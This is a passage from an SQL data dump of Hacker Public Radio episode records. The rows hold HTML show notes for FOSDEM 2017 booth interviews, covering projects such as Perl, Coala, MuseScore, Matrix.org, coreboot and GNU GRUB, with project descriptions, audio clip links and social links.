/>',30,78,1,'CC-BY-SA','FOSDEM 2017, Mozilla, diaspora*, Apache Software Foundation, OW2, Jenkins, Tiki, XWiki, WikiSuite, OpenNMS, Kolab, Turris Omnia',0,0,1),
(2225,'2017-02-10','FOSDEM 2017 K (level 2 Stands 10 to 19)',3561,'Ken interviews the projects in the K building level 2 at stands 10 to 19','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#K2.10\">Open Smart Grid Platform</a></li>\r\n<li><a href=\"#K2.11\">Perl Programming Language</a></li>\r\n<li><a href=\"#K2.13\">Coala</a></li>\r\n<li><a href=\"#K2.14\">Linux From Scratch</a></li>\r\n<li><a href=\"#K2.15a\">Google Code-in</a></li>\r\n<li><a href=\"#K2.15b\">GSoC</a></li>\r\n<li><a href=\"#K2.16\">Ultimaker</a></li>\r\n<li><a href=\"#K2.17\">SOFA</a></li>\r\n<li><a href=\"#K2.18\">MuseScore</a></li>\r\n<li><a href=\"#K2.19\">Matrix.org</a></li>\r\n</ul>\r\n\r\n\r\n<hr />\r\n<h2 id=\"K2.10\" ><img alt=\"Open Smart Grid Platform\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.10.jpg\"/></h2>\r\n<p><a href=\"https://opensmartgridplatform.org/\">https://opensmartgridplatform.org/</a></p>\r\n<blockquote>\r\nThe Open Smart Grid Platform allows you to monitor and control hardware in the public space. With several (generic) functions ready to use, the main benefits of the Open Smart Grid Platform are: scalability & high availability, high security, its generic design, and no vendor lock-in.\r\n</blockquote>\r\n<h3>Listen to the interview with Sander Jansen</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=74.000000,535.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=74.000000,535.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/osgp\">https://github.com/osgp</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/osgplatform\">https://twitter.com/osgplatform</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.11\" ><img alt=\"Perl Programming Language\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.11.jpg\"/></h2>\r\n<p><a href=\"https://www.perl.org/\">https://www.perl.org/</a></p>\r\n<blockquote>\r\nPerl 5 is a highly capable, feature-rich programming language with over 29 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects. \"Perl\" is a family of languages, \"Perl 6\" is part of the family, but it is a separate language which has its own development team. Its existence has no significant impact on the continuing development of \"Perl 5\".\r\n</blockquote>\r\n<h3>Listen to the interview with Wendy G.A. van Dijk / Mark \"shadowcat\" Keating / Curtis \"Ovid\" Poe</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=544.000000,735.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=544.000000,735.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Perl\">https://en.wikipedia.org/wiki/Perl</a></li>\r\n<li>IRC: <a href=\"https://irchelp.org/irchelp/irctutorial.html\">https://irchelp.org/irchelp/irctutorial.html</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/perlfoundation\">https://twitter.com/perlfoundation</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.13\" ><img alt=\"Coala\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.13.jpg\"/></h2>\r\n<p><a href=\"https://coala.io/\">https://coala.io/</a></p>\r\n<blockquote>\r\nLinting and Fixing Code for All Languages\r\n</blockquote>\r\n<h3>Listen to the interview with Sebastian Latacz / Lasse Schuirmann</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=744.000000,944.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=744.000000,944.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/coala/coala\">https://github.com/coala/coala</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Coala_(software)\">https://en.wikipedia.org/wiki/Coala_(software)</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/coala_analyzer\">https://twitter.com/coala_analyzer</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.14\" ><img alt=\"Linux From Scratch\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.14.jpg\"/></h2>\r\n<p><a href=\"https://www.linuxfromscratch.org/\">https://www.linuxfromscratch.org/</a></p>\r\n<blockquote>\r\nLinux From Scratch (LFS) is a type of a Linux installation and the name of a book written by Gerard Beekmans, among others. The book gives readers instructions on how to build a Linux system from source. Linux From Scratch is a way to install a working Linux system by building all components of it manually. This is a longer process than installing a pre-compiled Linux distribution. The advantages to this method are a compact, flexible and secure system and a greater understanding of the internal workings of the Linux-based operating systems.\r\n</blockquote>\r\n<h3>Listen to the interview with Julien Lepiller</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=953.000000,1266.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=953.000000,1266.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Linux_From_Scratch\">https://en.wikipedia.org/wiki/Linux_From_Scratch</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.15a\" ><img alt=\"Google Code-in\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.15a.jpg\"/></h2>\r\n<p><a href=\"https://developers.google.com/open-source/gci/\">https://developers.google.com/open-source/gci/</a></p>\r\n<blockquote>\r\nGoogle Code-in is an annual programming competition hosted by Google Inc. that allows pre-university students to complete tasks specified by various, partnering open source organizations. Students that complete tasks win certificates and T-shirts. Each organization also selects two grand prize award winners who will earn a trip to Google\'s Headquarters located in Mountain View, CA.\r\n</blockquote>\r\n<h3>Listen to the interview with Josh Simmons</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=1275.000000,1589.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=1275.000000,1589.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Google_Code-in\">https://en.wikipedia.org/wiki/Google_Code-in</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/111547824495682912814\">https://plus.google.com/111547824495682912814</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/googledevs\">https://twitter.com/googledevs</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/Google-Developers-967415219957038/\">https://www.facebook.com/Google-Developers-967415219957038/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/GoogleDevelopers\">https://www.youtube.com/user/GoogleDevelopers</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.15b\" ><img alt=\"GSoC\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.15b.jpg\"/></h2>\r\n<p><a href=\"https://developers.google.com/open-source/gsoc/\">https://developers.google.com/open-source/gsoc/</a></p>\r\n<blockquote>\r\nSpend your summer break writing code and learning about open source development while earning a stipend! Accepted students work with a mentor and become a part of the open source community. Many become lifetime open source developers! Google Summer of Code is open to post-secondary students, age 18 and older in most countries.\r\n</blockquote>\r\n<h3>Listen to the interview with Josh Simmons</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=1275.000000,1589.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=1275.000000,1589.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Google_Summer_of_Code\">https://en.wikipedia.org/wiki/Google_Summer_of_Code</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/102168248469649733567\">https://plus.google.com/102168248469649733567</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/gsoc\">https://twitter.com/gsoc</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/Google-Developers-967415219957038/\">https://www.facebook.com/Google-Developers-967415219957038/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/GoogleDevelopers\">https://www.youtube.com/user/GoogleDevelopers</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.16\" ><img alt=\"Ultimaker\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.16.jpg\"/></h2>\r\n<p><a href=\"https://ultimaker.com/\">https://ultimaker.com/</a></p>\r\n<blockquote>\r\nProfessional 3D printing made accessible. Accurate, consistent results - tailored to your business. Highly complex 3D prints, industrial-grade materials, maximum performance, and future-ready 3D printing experience. With ultimate accessibility.\r\n</blockquote>\r\n<h3>Listen to the interview with Rodney Becker</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=1598.000000,1995.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=1598.000000,1995.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Ultimaker\">https://en.wikipedia.org/wiki/Ultimaker</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/Ultimaker\">https://twitter.com/Ultimaker</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/Ultimaker\">https://www.facebook.com/Ultimaker</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/Ultimaker3D\">https://www.youtube.com/user/Ultimaker3D</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.17\" ><img alt=\"SOFA\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.17.jpg\"/></h2>\r\n<p><a href=\"https://www.sofa-framework.org/\">https://www.sofa-framework.org/</a></p>\r\n<blockquote>\r\nSimulation Open Framework Architecture (SOFA) is an open source multiplatform framework primarily targeted at real-time physical simulation, with an emphasis on medical simulation. It is mostly intended for the research community to help develop new algorithms, but can also be used as an efficient prototyping tool or as a physics engine.\r\n</blockquote>\r\n<h3>Listen to the interview with Hugo Talbot</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=2004.000000,2423.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=2004.000000,2423.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/sofa-framework/sofa\">https://github.com/sofa-framework/sofa</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/groups/8460316\">https://www.linkedin.com/groups/8460316</a></li>\r\n<li>RSS: <a href=\"https://www.sofa-framework.org/feed/\">https://www.sofa-framework.org/feed/</a></li>\r\n<li>Twitter: <a href=\"https://www.twitter.com/SofaFramework\">https://www.twitter.com/SofaFramework</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCZWXlxYc9jaeloZRGd38uRQ\">https://www.youtube.com/channel/UCZWXlxYc9jaeloZRGd38uRQ</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.18\" ><img alt=\"MuseScore\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.18.jpg\"/></h2>\r\n<p><a href=\"https://MuseScore.org\">https://MuseScore.org</a></p>\r\n<blockquote>\r\nMuseScore is a company devoted to helping aspiring musicians in their journey to master the music they love. MuseScore offers free, open-source, powerful, and easy-to-use music notation software to create high-quality sheet music, with audio score playback for results that look and sound beautiful. MuseScore has also formed an online community where musicians can share their creations, privately or publicly, through downloads, embeddable widgets, or MuseScore\'s mobile apps, while also bringing additional social features to sheet music.\r\n</blockquote>\r\n<h3>Listen to the interview with Nicolas Froment</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=2432.000000,2708.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=2432.000000,2708.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/musescore/MuseScore\">https://github.com/musescore/MuseScore</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/MuseScore\">https://en.wikipedia.org/wiki/MuseScore</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=musescore\">https://webchat.freenode.net/?channels=musescore</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+musescore\">https://plus.google.com/+musescore</a></li>\r\n<li>Linkedin: <a href=\"https://linkedin.com/company/musescore\">https://linkedin.com/company/musescore</a></li>\r\n<li>Mailinglist: <a href=\"https://dev-list.musescore.org\">https://dev-list.musescore.org</a></li>\r\n<li>RSS: <a href=\"https://musescore.org/en/news/feed/en\">https://musescore.org/en/news/feed/en</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/musescore\">https://twitter.com/musescore</a></li>\r\n<li>Facebook: <a href=\"https://facebook.com/MuseScore\">https://facebook.com/MuseScore</a></li>\r\n<li>YouTube: <a href=\"https://YouTube.com/musescore\">https://YouTube.com/musescore</a></li>\r\n<li>About: <a href=\"https://musescore.org/musescore-tour-share-and-print-your-score\">https://musescore.org/musescore-tour-share-and-print-your-score</a></li>\r\n<li>SlideShare: <a href=\"https://slideshare.com/musescore\">https://slideshare.com/musescore</a></li>\r\n<li>Flickr: <a href=\"https://Flickr.com/musescore\">https://Flickr.com/musescore</a></li>\r\n<li>Delicious: <a href=\"https://del.icio.us/musescore\">https://del.icio.us/musescore</a></li>\r\n<li>iTunes: <a href=\"https://musescore.com/ios\">https://musescore.com/ios</a></li>\r\n<li>GooglePlay: <a href=\"https://musescore.com/android\">https://musescore.com/android</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"K2.19\" ><img alt=\"Matrix.org\" src=\"https://hackerpublicradio.org/eps/hpr2225_K2.19.jpg\"/></h2>\r\n<p><a href=\"https://matrix.org\">https://matrix.org</a></p>\r\n<blockquote>\r\nMatrix.org is a non-profit open source initiative dedicated to creating and maintaining the Matrix open standard for decentralised communication, whose goal is to create an open and secure ecosystem for interoperable messaging, VoIP and IoT communication and history on the internet.\r\n</blockquote>\r\n<h3>Listen to the interview with Matthew Hodgson</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.ogg#t=2717.000000,3531.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2225.mp3#t=2717.000000,3531.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/matrix-org\">https://github.com/matrix-org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Matrix_(communication_protocol)\">https://en.wikipedia.org/wiki/Matrix_(communication_protocol)</a></li>\r\n<li>IRC: <a href=\"https://riot.im/app/#/room/#matrix:matrix.org\">https://riot.im/app/#/room/#matrix:matrix.org</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/matrix-org\">https://www.linkedin.com/company/matrix-org</a></li>\r\n<li>RSS: <a href=\"https://matrix.org/blog/feed/\">https://matrix.org/blog/feed/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/matrixdotorg\">https://twitter.com/matrixdotorg</a></li>\r\n<li>About: <a href=\"https://matrix.org/docs/guides/faq.html\">https://matrix.org/docs/guides/faq.html</a></li>\r\n<li>iTunes: <a href=\"https://itunes.apple.com/us/app/vector.im/id1083446067\">https://itunes.apple.com/us/app/vector.im/id1083446067</a></li>\r\n<li>GooglePlay: <a href=\"https://play.google.com/store/apps/details?id=im.vector.alpha\">https://play.google.com/store/apps/details?id=im.vector.alpha</a></li>\r\n</ul>\r\n</html>\r\n<hr />',30,78,1,'CC-BY-SA','FOSDEM 2017, Open Smart Grid Platform, Perl Programming Language, Coala, Linux From Scratch, Google Code-in, GSoC, Ultimaker, SOFA, MuseScore, Matrix.org',0,0,1),
(2226,'2017-02-13','FOSDEM 2017 AW Building',4164,'Ken interviews the projects in the AW building','<h1>Table of Contents</h1>\r\n<ul>\r\n<li><a href=\"#AW.1\">coreboot</a></li>\r\n<li><a href=\"#AW.2\">GNU GRUB</a></li>\r\n<li><a href=\"#AW.3a\">Olimex</a></li>\r\n<li><a href=\"#AW.4\">Automotive Grade Linux</a></li>\r\n<li><a href=\"#AW.5\">Ham radio</a></li>\r\n<li><a href=\"#AW.6\">CorteXlab</a></li>\r\n<li><a href=\"#AW.7\">OpenEmbedded</a></li>\r\n</ul>\r\n\r\n\r\n<hr />\r\n<h2 id=\"AW.1\" ><img alt=\"coreboot\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.1.jpg\"/></h2>\r\n<p><a href=\"https://www.coreboot.org/\">https://www.coreboot.org/</a></p>\r\n<blockquote>\r\ncoreboot is a replacement for your BIOS / UEFI with a strong focus on boot speed, security and flexibility. It is designed to boot your operating system as fast as possible without any compromise to security, with no back doors, and without any cruft from the 80s. It was originally designed for large super-computers with thousands of nodes, but it will run on your desktop, headless internet server, laptop, tablet or your favorite IoT device.\r\n</blockquote>\r\n<h3>Listen to the interview with Julian Laubstein</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=73.000000,456.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=73.000000,456.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/coreboot\">https://github.com/coreboot</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Coreboot\">https://en.wikipedia.org/wiki/Coreboot</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=coreboot\">https://webchat.freenode.net/?channels=coreboot</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/115014129240741938880\">https://plus.google.com/communities/115014129240741938880</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/10663214/\">https://www.linkedin.com/company-beta/10663214/</a></li>\r\n<li>Mailinglist: <a href=\"https://www.coreboot.org/Mailinglist\">https://www.coreboot.org/Mailinglist</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/coreboot_org\">https://twitter.com/coreboot_org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/coreboot/\">https://www.facebook.com/coreboot/</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCviiVAz65y6EiFLITbLG81w/videos\">https://www.youtube.com/channel/UCviiVAz65y6EiFLITbLG81w/videos</a></li>\r\n<li>About: <a href=\"https://www.coreboot.org/Welcome_to_coreboot\">https://www.coreboot.org/Welcome_to_coreboot</a></li>\r\n<li>Twitch: <a href=\"https://www.twitch.tv/coreboot_org\">https://www.twitch.tv/coreboot_org</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.2\" ><img alt=\"GNU GRUB\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.2.jpg\"/></h2>\r\n<p><a href=\"https://www.gnu.org/software/grub/\">https://www.gnu.org/software/grub/</a></p>\r\n<blockquote>\r\nGNU GRUB is a Multiboot boot loader. It was derived from GRUB, the GRand Unified Bootloader, which was originally designed and implemented by Erich Stefan Boleyn. Briefly, a boot loader is the first software program that runs when a computer starts. It is responsible for loading and transferring control to the operating system kernel software (such as the Hurd or Linux). The kernel, in turn, initializes the rest of the operating system (e.g. GNU).\r\n</blockquote>\r\n<h3>Listen to the interview with Vladimir \'phcoder\' Serbinenko / Daniel Kiper</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=465.000000,998.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=465.000000,998.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"git://git.savannah.gnu.org/grub.git\">git://git.savannah.gnu.org/grub.git</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GNU_GRUB\">https://en.wikipedia.org/wiki/GNU_GRUB</a></li>\r\n<li>Mailinglist: <a href=\"https://www.gnu.org/software/grub/grub-mailinglist.html\">https://www.gnu.org/software/grub/grub-mailinglist.html</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.3a\" ><img alt=\"Olimex\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a.jpg\"/></h2>\r\n<p><a href=\"https://www.olimex.com\">https://www.olimex.com</a></p>\r\n<blockquote>\r\nOlimex Ltd is a leading provider for development tools and programmers for embedded market. The company has 25+ years experience in designing, prototyping and manufacturing printed circuit boards, sub-assemblies, and complete electronic products. We are established in 1991 in Plovdiv - the second largest city in Bulgaria. We have extensive knowledge in analog, digital, and microcontroller design, and we offer our own-designed development boards, programmers and emulators for rapid prototyping ARM, AVR, MSP430, MAXQ and PIC microcontrollers.\r\n</blockquote>\r\n<h3>Listen to the interview with Tsvetan Usunov</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=1007.000000,1415.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=1007.000000,1415.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_bits.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_bits_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_black.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_black_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_inside.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_inside_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_white.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.3a_Olimex_laptop_white_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://github.com/OLIMEX\">https://github.com/OLIMEX</a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=olimex\">https://webchat.freenode.net/?channels=olimex</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/102255887343137829901/posts\">https://plus.google.com/102255887343137829901/posts</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/Olimex\">https://twitter.com/Olimex</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/Olimex/284513994899126\">https://www.facebook.com/pages/Olimex/284513994899126</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/tsvetanusunov\">https://www.youtube.com/tsvetanusunov</a></li>\r\n<li>About: <a href=\"https://www.olimex.com/About/\">https://www.olimex.com/About/</a></li>\r\n<li>Flickr: <a href=\"https://www.flickr.com/photos/olimex/\">https://www.flickr.com/photos/olimex/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.4\" ><img alt=\"Automotive Grade Linux\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.4.jpg\"/></h2>\r\n<p><a href=\"https://www.automotivelinux.org/\">https://www.automotivelinux.org/</a></p>\r\n<blockquote>\r\nAutomotive Grade Linux (AGL) is a Linux Foundation Workgroup dedicated to creating open source software solutions for automotive applications. Although the initial target for AGL is In-Vehicle-Infotainment (IVI) systems, additional use cases such as instrument clusters and telematics systems will eventually be supported. AGL has participants from the Automotive, Communications, and Semiconductor Industries and welcomes contributions from individual developers. \r\n</blockquote>\r\n<h3>Listen to the interview with Jan-Simon Möller</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=1424.000000,2198.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=1424.000000,2198.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Source: <a href=\"https://gerrit.automotivelinux.org/gerrit/AGL/AGL-repo\">https://gerrit.automotivelinux.org/gerrit/AGL/AGL-repo</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Linux_Foundation#Automotive_Grade_Linux\">https://en.wikipedia.org/wiki/Linux_Foundation#Automotive_Grade_Linux</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company-beta/17891737/\">https://www.linkedin.com/company-beta/17891737/</a></li>\r\n<li>Mailinglist: <a href=\"https://lists.linuxfoundation.org/mailman/listinfo/automotive-discussions\">https://lists.linuxfoundation.org/mailman/listinfo/automotive-discussions</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/autogradelinux\">https://twitter.com/autogradelinux</a></li>\r\n<li>About: <a href=\"https://www.automotivelinux.org/about\">https://www.automotivelinux.org/about</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.5\" ><img alt=\"Ham radio\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.5.jpg\"/></h2>\r\n<p><a href=\"https://uba.be/en/home\">https://uba.be/en/home</a></p>\r\n<blockquote>\r\nAmateur radio is a hobby for people who like to talk using radio transmitters. Many people enjoy using amateur radio to talk to other amateur radio hobbyists in other countries. Amateur radio hobbyists also use their radio transmitters to get help in emergencies. Amateur radio is often called Ham Radio. Many people use their amateur radios for fun. People who use Amateur radio are often called amateur radio operators, hams or amateurs.\r\n</blockquote>\r\n<h3>Listen to the interview with Kristoff Bonne</h3>\r\n<p><audio controls=\"\" preload=\"none\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.ogg#t=2207.000000,3526.000000\" type=\"audio/ogg\">\r\n  <source src=\"https://hackerpublicradio.org/eps/hpr2226.mp3#t=2207.000000,3526.000000\" type=\"audio/mpeg\">\r\n  </audio>\r\n</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_antenna.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_antenna_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_table.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_table_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_waterfall.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr2226_AW.5_Ham_radio_waterfall_small.jpg\" alt=\"photo from the booth\"/></a></p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Amateur_radio\">https://en.wikipedia.org/wiki/Amateur_radio</a></li>\r\n<li>RSS: <a href=\"https://uba.be/en/rss.xml\">https://uba.be/en/rss.xml</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/UBA_BEL\">https://twitter.com/UBA_BEL</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/UBA/206146739474007\">https://www.facebook.com/pages/UBA/206146739474007</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/watch?v=KZrhjfKY-9g\">https://www.youtube.com/watch?v=KZrhjfKY-9g</a></li>\r\n<li>Reddit: <a href=\"https://www.reddit.com/r/amateurradio/\">https://www.reddit.com/r/amateurradio/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h2 id=\"AW.6\" ><img alt=\"CorteXlab\" src=\"https://hackerpublicradio.org/eps/hpr2226_AW.6.jpg\"/></h2>\r\n<p><a href=\"https://www.cortexlab.fr/\">https://www.cortexlab.fr/</a></p>\r\n<blockquote>\r\nCorteXlab is a radio testbed based on Software Defined Radio (SDR) and comprised of 40 radio nodes that allow remote users to test their own radio algorithms. The architecture will be also opened to industry third party to deploy their own front-end (RF or UWB) or 